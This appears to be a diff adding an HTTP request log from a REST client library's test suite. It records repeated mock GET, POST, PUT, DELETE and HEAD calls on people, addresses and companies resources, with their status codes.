+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0.00s)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0.00s)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0.00s)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0.00s)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0.00s)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0.00s)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0.00s)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0.00s)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0.00s)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0.00s)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0.00s)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0.00s)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0.00s)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0.00s)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0.00s)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0.00s)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0.00s)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0.00s)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0.00s)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0.00s)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0.00s)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0.00s)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0.00s)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0.00s)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0.00s)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0.00s)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0.00s)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0.00s)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0.00s)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0.00s)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0.00s)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0.00s)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0.00s)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0.00s)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0.00s)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0.00s)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0.00s)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0.00s)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0.00s)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0.00s)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0.00s)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0.00s)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0.00s)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0.00s)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0.00s)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0.00s)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0.00s)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0.00s)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0.00s)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0.00s)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0.00s)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0.00s)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0.00s)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0.00s)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0.00s)
